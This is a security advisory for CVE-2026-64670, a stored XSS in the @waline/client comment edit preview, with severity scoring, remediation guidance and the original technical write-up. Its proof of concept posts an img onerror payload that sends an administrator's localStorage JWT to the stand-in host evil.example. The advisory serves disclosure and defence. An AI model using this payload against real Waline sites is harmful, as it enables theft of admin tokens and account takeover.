CRITICAL · CVSS 3.1 9.3 EPSS 0.4% · 24th percentile CWE-116CWE-79

CVE-2026-64670: @waline/client vulnerable to stored XSS through unsanitized comment edit previews

Published 2026-11-25 · Updated 2026-11-25 · Also known as GHSA-crj3-q72p-ggqm

Summary

The @waline/client package renders unsanitized markdown in comment edit previews using v-html and v-show, enabling stored XSS that can be triggered when an administrator edits a malicious comment. Organizations using @waline/client versions up to 3.16.2 should update; no fixed version is documented.

Who is affected

Any deployment of @waline/client from version 0 through 3.16.2 is vulnerable. An unauthenticated attacker can submit a malicious comment containing raw HTML/JavaScript; when an administrator or the comment owner uses the edit feature, the unsanitized content executes in their browser context, allowing theft of the JWT token stored in localStorage and full administrative account takeover.

Exploitability

The CVSS 3.1 base score of 9.3 (CRITICAL) reflects network exploitation (AV:N), low attack complexity (AC:L), no required privileges (PR:N), and user interaction via a single Edit click (UI:R). The attack scope is changed (S:C) with high confidentiality and integrity impact (C:H/I:H) and no availability impact (A:N). EPSS data (0.004, percentile 0.243) indicates low probability of exploitation at the time of assessment, and CISA KEV status is not YES.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-25. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
npm @waline/client >= 0, <= 3.16.2 not published -

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Attack vectorNetwork
Attack complexityLow
Privileges requiredNone
User interactionRequired
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone

FAQ

What is the vulnerability in @waline/client?

The component renders comment edit previews with marked markdown parsed into raw HTML without sanitization, injected via v-html in a v-show container, allowing malicious HTML in stored comments to execute when edited.

Who is affected by this vulnerability?

Organizations running @waline/client versions from 0 through 3.16.2, specifically those where administrators or comment owners view the edit interface for comments posted by untrusted users.

How can I verify if my deployment is vulnerable?

Examine your dependency tree to determine if @waline/client version 3.16.2 or earlier is installed, and confirm whether comment editing with preview is enabled in the application.

What is the recommended fix?

Sanitize the output of the parseMarkdown function using DOMPurify before returning HTML, and upgrade to a patched version if one is published after 3.16.2.

Original advisory description
### Summary `@waline/client` renders the comment editor's live preview with `marked` and no sanitizer (`utils/markdown.ts`), and the preview is injected with `v-html`. When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (`orig`). Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click. ### Details `packages/client/src/utils/markdown.ts:18-37` renders markdown with `marked` and returns the raw HTML with no sanitization (the client bundles no DOMPurify): ```ts return marked.parse(parseEmoji(content, emojiMap)) as string; ``` `packages/client/src/components/CommentBox.vue`: ```ts onMounted(() => { if (props.edit?.objectId) editor.value = props.edit.orig; // :509 raw comment body watchImmediate(() => editor.value, (value) => { previewText.value = parseMarkdown(value, { ... }); // :519 runs immediately on mount }); }); ``` ```html <div v-show="showPreview" class="wl-preview"> <!-- :616 v-show keeps the node in the DOM --> <div class="wl-content" v-html="previewText" /> <!-- :621 --> </div> ``` `watchImmediate` runs the callback synchronously at mount, so `previewText` is populated with the unsanitized render as soon as the box mounts in edit mode. `v-show` (not `v-if`) means the `v-html` node is present in the DOM (display:none), so an `<img onerror>` fires without the moderator ever opening the preview tab. The tainted value is the attacker's raw comment. `packages/server/src/controller/comment.js:41` sets `comment.orig = comment.comment` for any logged-in user before `:55` runs DOMPurify, so `orig` is the pre-sanitization body. `formatCmt` returns it to logged-in users, and `CommentCard.vue:104` shows the Edit button to admin or owner. ### Proof of concept 1. As an anonymous user, post a comment whose body is the payload below via `POST /api/comment`: ``` POST /api/comment { "url": "/any-post", "nick": "a", "comment": "<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" } ``` 2. On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in `orig`. 3. As an administrator or the comment owner, click Edit on that comment during normal moderation. 4. `CommentBox` mounts, seeds the editor with the raw `orig`, and `watchImmediate` immediately renders it through `parseMarkdown` (marked, no sanitizer) into the `v-html` preview node. Because the preview uses `v-show` (display:none), that node is already in the DOM without opening the preview tab, so `onerror` fires at once in the admin's session and exfiltrates their `localStorage` JWT. The server's own comment guard strips this same `<img onerror>` on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path. ### Impact The waline JWT is in same-origin `localStorage`, so the payload can read it, yielding full administrative account takeover. ### Suggested fix Sanitize `parseMarkdown`'s output with DOMPurify before returning it, mirroring the server guard: add `dompurify` to `@waline/client` and wrap the return in `DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] })`.

References

Source records: GHSA-crj3-q72p-ggqm (OSV.dev) · EPSS by FIRST, 2026-11-25.